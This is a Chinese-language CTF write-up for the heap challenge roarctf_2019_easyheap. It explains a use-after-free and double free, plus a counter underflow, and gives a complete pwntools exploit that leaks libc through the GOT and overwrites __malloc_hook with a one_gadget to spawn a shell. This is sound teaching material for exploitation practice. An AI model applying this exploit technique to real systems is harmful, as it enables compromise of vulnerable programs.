roarctf_2019_easyheap(文件描述符1關閉後仍然可以交互)

roarctf_2019_easyheap

首先,檢查一下程序的保護機制

然後,我們用IDA分析一下

最開始的時候,我們可以在bss段輸入一些數據,這意味着,我們可以在bss段僞造一個chunk

show功能必須要滿足條件才能使用

Free後沒有清空指針,因此存在double free。

666功能也可以創建和free堆,但是有次數限制,但是這個次數限制也存在漏洞,即qword_602010爲0時,仍然會減去1,使得其值變成負數,下一次就可以無限制的使用這個功能了。

Glibc版本爲2.23,我們可以先double free fastbin chunk,然後fastbin attack分配到bss段僞造的chunk,篡改show的標記,篡改buf指針爲got表,這樣,我們就能調用show泄露出地址了。

Fastbindouble free需要有一箇中間chunk,這個中間chunk,我們可以從calloc分配出來的0xB0chunk裏切割,切割以後,ptr指向的就是一個0x70的chunk,由於ptr指針之前沒有清空,因此就能利用UAF來釋放這個中間chunk,從而實現fastbin的double free。

 

add(0x60,'b'*0x60)

calloc_del()

add(0x60,'a'*0x60)

add(0x60,'a'*0x60)

#double free

delete()

calloc_del()

delete()

 

add(0x60,p64(fake_chunk_addr))

add(0x60,'a'*0x60)

add(0x60,'b'*0x60)

add(0x60,'c'*0x18 + p64(read_got) + p64(0xDEADBEEFDEADBEEF))

show()

sh.recv(1)

read_addr = u64(sh.recv(6).ljust(8,'\x00'))

libc_base = read_addr - libc.sym['read']

realloc_addr = libc_base + realloc_s

malloc_hook_addr = libc_base + malloc_hook_s

one_gadget_addr = libc_base + one_gadget_s

print 'libc_base=',hex(libc_base)

print 'malloc_hook_addr=',hex(malloc_hook_addr)

print 'one_gadget_addr=',hex(one_gadget_addr)

調用show後,問題來了,文件描述1符將被關閉,這意味着不再有正常的輸出。

Exp裏都顯示GOT EOF了,但是程序其實沒有結束,還在運行,並且任意可以輸入數據。

因此,我們該怎麼樣就繼續怎麼樣操作即可。再次利用double free,然後分配到malloc_hook,寫one_gadget即可,需要用realloc來調整棧。

#coding:utf8
from pwn import *

sh = process('./roarctf_2019_easyheap')
#sh = remote('node3.buuoj.cn',25252)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
realloc_s = libc.sym['realloc']
one_gadget_s = 0xf1147
elf = ELF('./roarctf_2019_easyheap')
read_got = elf.got['read']
fake_chunk_addr = 0x0000000000602060
fake_chunk = p64(0) + p64(0x71)
fake_chunk = fake_chunk.ljust(0x20,'\x00')
sh.sendafter('please input your username:',fake_chunk)
sh.sendafter('please input your info:','haivk\n')

def add(size,content,blind = False):
   if not blind:
      sh.recvuntil('>>')
   else:
      sleep(0.3)
   sh.sendline('1')
   if not blind:
      sh.recvuntil('input the size')
   else:
      sleep(0.3)
   sh.sendline(str(size))
   if not blind:
      sh.recvuntil('please input your content')
   else:
      sleep(0.3)
   sh.send(content)

def delete(blind = False):
   if not blind:
      sh.recvuntil('>>')
   else:
      sleep(0.3)
   sh.sendline('2')

def show():
   sh.sendlineafter('>>','3')

def calloc_A0(content,blind = False):
   if not blind:
      sh.recvuntil('>>')
   else:
      sleep(0.3)
   sh.sendline('666')
   if not blind:
      sh.recvuntil('build or free?')
   else:
      sleep(0.3)
   sh.sendline('1')
   if not blind:
      sh.recvuntil('please input your content')
   else:
      sleep(0.3)
   sh.send(content)

def calloc_del(blind = False):
   if not blind:
      sh.recvuntil('>>')
   else:
      sleep(0.3)
   sh.sendline('666')
   if not blind:
      sh.recvuntil('build or free?')
   else:
      sleep(0.3)
   sh.sendline('2')

calloc_A0('a'*0xA0)
add(0x60,'b'*0x60)
calloc_del()
add(0x60,'a'*0x60)
add(0x60,'a'*0x60)
#double free
delete()
calloc_del()
delete()

add(0x60,p64(fake_chunk_addr))
add(0x60,'a'*0x60)
add(0x60,'b'*0x60)
add(0x60,'c'*0x18 + p64(read_got) + p64(0xDEADBEEFDEADBEEF))
show()
sh.recv(1)
read_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = read_addr - libc.sym['read']
realloc_addr = libc_base + realloc_s
malloc_hook_addr = libc_base + malloc_hook_s
one_gadget_addr = libc_base + one_gadget_s
print 'libc_base=',hex(libc_base)
print 'malloc_hook_addr=',hex(malloc_hook_addr)
print 'one_gadget_addr=',hex(one_gadget_addr)
#第一次調用爲0時,不會執行,減1後變成負數
calloc_A0('a',True)
#利用同樣的方法來double free
calloc_A0('a'*0xA0,True)
add(0x60,'b'*0x60,True)
calloc_del(True)
add(0x60,'a'*0x60,True)
add(0x60,'a'*0x60,True)
#double free
delete(True)
calloc_del(True)
delete(True)
add(0x60,p64(malloc_hook_addr - 0x23),True)
add(0x60,'a'*0x60,True)
add(0x60,'b'*0x60,True)
add(0x60,'\x00'*0xB + p64(one_gadget_addr) + p64(realloc_addr + 0x14),True)
#getshell
sh.sendline('1')
sleep(0.3)
sh.sendline('1')

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章